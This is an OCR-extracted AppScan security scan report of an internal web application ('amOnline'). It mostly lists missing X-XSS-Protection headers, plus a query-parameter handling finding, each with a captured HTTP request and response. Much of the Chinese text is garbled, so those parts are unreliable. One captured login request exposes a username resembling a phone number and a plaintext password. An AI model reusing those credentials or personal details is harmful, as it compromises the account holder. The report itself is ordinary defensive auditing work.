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Missing "X-XSS-Protection" header

P

Cvss 7+%t: 5.0

URL: http://172.20.7.168:8083/amonline/app/j_spring_security _check

Sz j_spring_security_check (Page)

ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER

B Web [ F#E 7 4 i BAC B A 22 4

] 5 L= Config your server to use the "X-XSS-Protection" header

#5: cookie CMIEREEFE:  57A6ASAESE37C43B017578F75A282932

?ﬁ E}‘}\l%*l%‘t?t : front_user

#fE3E:  AppScan detected that the X-XSS-Protection response header is missing, which may allow
Cross-Site Scripting attacks

I R i -

POST /amOnline/app/j spring security check HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/ApplLogin.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 39

j_username=13981937605&]j_ password=hfjcd

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=IS0-8859-1

Content-Length: 61

Date: Mon, 24 Jun 2019 04:00:44 GMT

Set-Cookie: JSESSIONID=F98D9C545215197C3325704EA9397F3E; Path=/amOnline; HttpOnly

{

"result": "success",
"targetUrl": "/amOnline/app/AppMain.page"
}
\J
H
e 4 1 17 roc
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Missing "X-XSS-Protection" header
e -
Cvss #+#: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspot/spotaction!findacceptinfos.page
Sz spotAction!findAcceptinfos.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-XSS-Protection" header
Z5: cookie DMIERERZE: 57a6a5AE8E37C43B017578F75A282932

H#EFE-  AppScan detected that the X-XSS-Protection response header is missing, which may allow

Cross-Site Scripting attacks

I R A i -

7] 7t

2019/6/24

POST /amOnline/app/monitorspot/spotAction!findAcceptInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 58

search_acceptStatus=-99&search_pageNo=l&search pageSize=20

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 117

Date: Mon, 24 Jun 2019 03:54:06 GMT

Set-Cookie: JSESSIONID=508294A61D07A9254784DE8CA7DE421F; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " FH P 48 B A R

}

5 [ 17 TOC
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Missing "X-XSS-Protection" header

FeE

Cvss 7+#t: 5.0

URL:
otk
A=

J5A -
Ep R

http://172.20.7.168:8083/amonline/app/psinfo/psinfollistpsinfo.page
psinfollistPsInfo.page (Page)

A RES SR < Web NAIFERF MBURMGEE, W4, &, HLEs 2 /st B
A RESM VI PR AE I . B EHR S RS EBIRE S

Web [ T2 g 2 ek e B A % 4

Config your server to use the "X-XSS-Protection" header

#5: cookie CMIEREEFE:  57A6ASAESE37C43B017578F75A282932

#fE3E:  AppScan detected that the X-XSS-Protection response header is missing, which may allow

28 S NERERZ: 1561348464198

Cross-Site Scripting attacks

I R i -

GET /amOnline/app/psinfo/psInfo!listPsInfo.page?psid= HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

7] /&t

2019/6/24

Content-Length: 142
Date: Mon, 24 Jun 2019 03:54:05 GMT
Set-Cookie: JSESSIONID=26F47329B07DB23948BE5A37A1A48376; Path=/amOnline; HttpOnly

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " B B Fa A ih O i, i g

6 / 17
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Missing "X-XSS-Protection" header

FeE

Cvss 7+#t: 5.0

URL:
otk
A=

J5A -
Ep R

http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!findstopinfos.page
stopAction!findStoplInfos.page (Page)

A RES SR < Web NAIFERF MBURMGEE, W4, &, HLEs 2 /st B
A RESM VI PR AE I . B EHR S RS EBIRE S

Web [ T2 g 2 ek e B A % 4

Config your server to use the "X-XSS-Protection" header

#5: cookie CMIEREEFE:  57A6ASAESE37C43B017578F75A282932

H#EF -  AppScan detected that the X-XSS-Protection response header is missing, which may allow
Cross-Site Scripting attacks
75 R A B -

S8 CERERZE:  2019-04-24
S8 CEREE:  2019-06-24

POST /amOnline/app/monitorspot/stopAction!findStopInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 57

pageNo=1lg&pageSize=20&showPageInfo=true&showPageList=false

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 117

Date: Mon, 24 Jun 2019 03:54:05 GMT

Set-Cookie: JSESSIONID=4BC83DDI9F483D2A66CB800CDC21A269C; Path=/amOnline; HttpOnly

7] 7t

2019/6/24

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " FH P 4 B i A

7 117
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Missing "X-XSS-Protection" header
e -
Cvss #+#: 5.0

URL: http://172.20.7.168:8083/amonline/app/onlinemon/onlineaction!getpollutantswithpsid.page
Sz onlineAction!getPollutantsWithPsID.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-XSS-Protection" header
Z5: cookie DMIERERZE: 57a6a5AE8E37C43B017578F75A282932

H#EFE-  AppScan detected that the X-XSS-Protection response header is missing, which may allow

Cross-Site Scripting attacks

I R A i -

7] 7t

2019/6/24

POST /amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.page?psID=510101055565 HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 0

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 117

Date: Mon, 24 Jun 2019 03:54:06 GMT

Set-Cookie: JSESSIONID=BFF1E5B40097D58D17AAEB6B5B20154C; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " FH P 44 B A R

}

8 /[ 17
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Missing "X-XSS-Protection" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/psinfo/admin/psinfollistpsinfo.page
Sz psinfollistPsInfo.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 L= Config your server to use the "X-XSS-Protection" header
5t

#EM:  AppScan detected that the X-XSS-Protection response header is missing, which may allow
Cross-Site Scripting attacks

a7 SR A -

GET /amOnline/app/psinfo/admin/psInfo!listPsInfo.page?psid= HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=88A3F6A907A453E6328F5295A865C34C; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " TR R i, W E R

}

& 9 / 17

2019/6/24
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Missing "X-XSS-Protection" header

FEE -
Cvss 4H#t: 5.0
URL: http://172.20.7.168:8083/amonline/app/abnormityadmin/abnormityaction!jsonlist.page
Sk abnormityAction!jsonList.page (Page)
ARG - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
JEA - Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-XSS-Protection" header
E
#EM:  AppScan detected that the X-XSS-Protection response header is missing, which may allow
Cross-Site Scripting attacks
TR 75 SR A iz -

GET /amOnline/app/abnormityadmin/abnormityAction!jsonList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-
Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=1CE9604FF5F9D66D2D8C490D1BE9ISDAC; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}

& 10 /17

2019/6/24
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Missing "X-XSS-Protection" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspot/admin/stopaction!findstopinfos.page
Sz stopAction!findStoplInfos.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-XSS-Protection" header
5t

#EM:  AppScan detected that the X-XSS-Protection response header is missing, which may allow

Cross-Site Scripting attacks

a7 SR A -

7] /&t

2019/6/24

GET /amOnline/app/monitorspot/admin/stopAction!findStopInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=37E02AF99A57C266CC6093DE4DC28CD4; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}

1 /17
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Missing "X-XSS-Protection" header

FEE -
Cvss 4H#t: 5.0
URL: http://172.20.7.168:8083/amonline/app/abnormity/admin/abnormityaction!jsonlist.page
Sk abnormityAction!jsonList.page (Page)
ARG - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
JEA - Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-XSS-Protection" header
E
#EM:  AppScan detected that the X-XSS-Protection response header is missing, which may allow
Cross-Site Scripting attacks
TR 75 SR A iz -

GET /amOnline/app/abnormity/admin/abnormityAction!jsonList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-
Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=0308DD52713329209493123C8AAC241F; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}

& 12 [ 17

2019/6/24
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Missing "X-XSS-Protection" header

P
CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/onlinemon/admin/onlineaction!getpollutantswithpsid.page
Sk onlineAction!getPollutantsWithPsID.page (Page)
PR - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
JEA - Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-XSS-Protection" header
P31
#EM:  AppScan detected that the X-XSS-Protection response header is missing, which may allow
Cross-Site Scripting attacks
TR 75 SR A iz -

GET /amOnline/app/onlinemon/admin/onlineAction!getPollutantsWithPsID.page?psID=510101055565
HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-
Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache
Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=E60331CB919C8831DF239AD76B6D8915; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RESIE O, FE SR

}

& 13 /17

2019/6/24
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Missing "X-XSS-Protection" header

P
CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspotadmin/spotaction!findacceptinfos.page
Sk spotAction!findAcceptinfos.page (Page)
PR - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
JEA - Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-XSS-Protection" header
P31
#EM:  AppScan detected that the X-XSS-Protection response header is missing, which may allow
Cross-Site Scripting attacks
TR 75 SR A iz -

GET /amOnline/app/monitorspotadmin/spotAction!findAcceptInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-
Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=BB27D777C28C01B1FC07B8221BBA20FB; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}

B 14 | 17 oe
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Missing "X-XSS-Protection" header

P
CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspot/admin/spotaction!findacceptinfos.page
Sk spotAction!findAcceptinfos.page (Page)
PR - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
JEA - Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-XSS-Protection" header
P31
#EM:  AppScan detected that the X-XSS-Protection response header is missing, which may allow
Cross-Site Scripting attacks
TR 75 SR A iz -

GET /amOnline/app/monitorspot/admin/spotAction!findAcceptInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-
Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=0E1D4C4COB8EDBO165F5C5E64FACD5D6; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R
}
"1 H
8 15 /[ 17 TOC
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Missing "X-XSS-Protection" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/psinfoadmin/psinfollistpsinfo.page
Sz psinfollistPsInfo.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 L= Config your server to use the "X-XSS-Protection" header
5t

#EM:  AppScan detected that the X-XSS-Protection response header is missing, which may allow
Cross-Site Scripting attacks

a7 SR A -

GET /amOnline/app/psinfoadmin/psInfo!listPsInfo.page?psid= HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=64A2C6D2765D3B6FE363B2BCFCD907D4; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " TR R i, W E R

}

& 16 / 17

2019/6/24

TOC

86



Missing "X-XSS-Protection" header

P
CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/onlinemonadmin/onlineaction!getpollutantswithpsid.page
Sk onlineAction!getPollutantsWithPsID.page (Page)
PR - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
JEA - Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-XSS-Protection" header
P31
#EM:  AppScan detected that the X-XSS-Protection response header is missing, which may allow
Cross-Site Scripting attacks
TR 75 SR A iz -

GET /amOnline/app/onlinemonadmin/onlineAction!getPollutantsWithPsID.page?psID=510101055565
HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-
Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache
Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=9AFC021927648D86F4807266101E642A; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RESIE O, FE SR

}

W8 17 /17
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Missing "X-XSS-Protection" header
P
Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspotadmin/stopaction!findstopinfos.page
Sz stopAction!findStoplInfos.page (Page)
ARG - T RE SRR X Web B AFR P IOBURME B, 4. Bh0. HLak 4 A/ eREusoc A B
ARSI PRI P 4. B, FHR S K SEERER
JEA - Web N A% 7 4 1 SC B A % 4
] 5 = Config your server to use the "X-XSS-Protection" header
5t

#EM:  AppScan detected that the X-XSS-Protection response header is missing, which may allow

Cross-Site Scripting attacks

T SR o -

2019/6/24

GET /amOnline/app/monitorspotadmin/stopAction!findStopInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=714B3233E562CDF4EA6TFF6FAF6B38B7; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " R ERESIEC Y, HEHER

}

BT EZNERSH 0
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il EZMERSH

FeEE

Cvss 7+#t: 5.0

URL:
otk
A=

JERIA
I 5 i

http://172.20.7.168:8083/amonline/app/j_spring_security _check
j_spring_security_check (Page)

A RES SR < Web NAIFERF MBURMGEE, W4, &, HLEs 2 /st B
A RESM VI PR AE I . B EHR S RS EBIRE S

Web [ T2 g 2 ek e B A % 4

: HEAE B W TR F P RR N E RS

Z5: ik WL BT post E: cEr

#fEFE:  The test result seems to indicate a vulnerability because the Test Response is similar to the

Original Response, indicating that the application processed body parameters that were
submitted in the query

I R o -

2019/6/24

GET /amOnline/app/j_spring_security check?
j_logintype=front user&j 1t=2c9487286b79d3e4016b8767113el2... HTTP/1.1
Content-Type: application/x-www-form-urlencoded

Cookie: hasshown=1; JSESSIONID=E5C9D3AC69648D3DEA7BBD6FB7A8FAE2

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/Applogin.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 302 Found

Server: Apache-Coyote/1.1

Location: /amOnline/app/AppLogin.page?loginError=auth_failed

Content-Length: 0

Date: Mon, 24 Jun 2019 02:55:52 GMT

Set-Cookie: JSESSIONID=A792152824F703E634A97AE75D0F3796; Path=/amOnline; HttpOnly

GET /amOnline/app/Applogin.page?loginError=auth failed HTITP/1.1

Cookie: hasshown=1; JSESSIONID=A792152824F703E634A97AE75D0F3796

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;q=0.8

Referer: http://172.20.7.168:8083/amOnline/app/j_spring security check?
j_logintype=front user&j_ 1t=2c9487...

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:55:52 GMT

x-ua-compatible: IE=edge,chrome=1

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache

expires: 0

<!DOCTYPE HTML>

<html style="height:100%">

<head>

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>H piflbys 8fy AN HEMBUEE RS (ki) </title>

<link rel="shortcut icon" href="/amOnline/static/images/favicon.ico"
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mce_href="/amOnline/static/images/favicon.ico" type="image/x-icon"/>

<link rel="icon" href="/amOnline/static/images/favicon.ico"/>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate, post-check=0, pre-
check=0" />

<meta http-equiv="Pragma" content="no-cache" />

<meta http-equiv="Expires" content="0" />

<link href="/amOnline/static/script/themes/default/ui.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/themes/default/login.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/script/themes/icon.css" type="text/css" rel="stylesheet"/>

<link href="/amOnline/static/themes/default/app.css" type="text/css" rel="stylesheet"/>
<script src="/amOnline/static/script/jquery2.js" type="text/javascript"></script>

<script src="/amOnline/static/script/jquery-migrate-1.2.1.js" type="text/javascript"></script>
<script src="/amOnline/static/script/jquery.ui.js" type="text/javascript"></script>

<script src="/amOnline/static/script/locale/ui-lang-zh CN.js" type="text/javascript"></script>
<script src="/amOnline/static/script/core.js" type="text/javascript"></script>

<script type="text/javascript">

var context = '/amOnline';

var authorizeType = '1';

var enableCaptcha = 'false';

var loginTicket = '2c9487286b79d3e4016b8769%94acll33e’;
</script>

<script src="/amOnline/static/script/common.js" type="text/javascript"></script>
<script src="/amOnline/static/script/AppLogin.js?v=20171023" type="text/javascript"></script>

<t-- TE&ZEM -—>
<script src="/amOnline/static/am/vendor/zxkf/kefu.js"></script>
<link href="/amOnline/static/am/vendor/zxkf/zxkf.css" rel="stylesheet" />

<!-- FlEH -->
<script src="/amOnline/static/script/jquery.qgrcode.min.js" type="text/javascript"></script>
<script src="/amOnline/static/script/qr.code.login.js" type="text/javascript"></script>

<style type="text/css">
.floatTool {

width: 110px;

height: 138px;
position: absolute;
right: Opx;

top: 50%;

margin-top: -69px;
vertical-align: middle;
text-align: center;

.messager-text{
width:200px;
}
.gr_login_sm_fs{height:100px;width: 288px;margin:0px auto;text-align: center; }
.login_type fs{float:left; width:33%;}
a.a-login-sm {text-decoration: none; color:#5b5b5b; cursor: pointer;font-size: 16px;}
a.a-login-sm:hover {color:#FF8800 ; text-decoration:none; }
</style>
</head>

<body class="login_bg">
<div style="position:absolute;width:100%;height:100%; text-align: center;">
<img src="/amOnline/static/themes/default/images/1l m title info.png" style="margin-
top:270px;"/>
</div>

<!--fEZ&K/kBegin-->
<div id="floatTools" class="rides-cs">
<div class="floatL">

<a style="display: block" id="aFloatTools_Show" class="btnOpen" title=" BRMELE
AR onClick="javascript:$ ('#divFloatToolsView') .animate ({width: 'show', opacity: 'show'},
'normal', function(){ $('#divFloatToolsView').show();kf_ setCookie ('RightFloatShown', 0, '', '/',

'www.shopnc.net');
});$('#aFloatTools_Show') .attr('style', 'display:none');$('#aFloatTools Hide').attr('style', 'disp.
href="javascript:void (0) ;">
JEIF</a>
<a style="disp
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'l EZNEGRS

FeEYE

Cvss 7+#t: 5.0

URL:
otk

http://172.20.7.168:8083/amonline/app/applogin.page
AppLogin.page (Page)

TOC

I RE A 5% Web NI MBURME S, w44, &, HLas 4 A/ s Ui B

AR MBI PR B 4. E. EHRS . RS SEBRER
Web 37 FH 72 7 4 A BUAC B A %2 42

: B RAE B W T & RE N LS

U

25 ik MWUUT A EBATEE]:  eosT & T

#EM:  The test result seems to indicate a vulnerability because the Test Response is similar to the

Original Response, indicating that the application processed body parameters that were
submitted in the query

a7 R A -

2019/6/24

GET /amOnline/app/Applogin.page?

loginError=auth_ failed&loginType=front&j 1t=2c9487286b79d3e4016b8767... HTTP/1.1
Content-Type: application/x-www-form-urlencoded

Cookie: hasshown=1; JSESSIONID=ES5CO9D3AC69648D3DEA7BBD6FB7A8FAE2

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppLogin.page?loginError=auth_ failed
Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:55:53 GMT

Set-Cookie: JSESSIONID=A5EAQ0F2791F73230C99B24A3AF33C5C; Path=/amOnline; HttpOnly
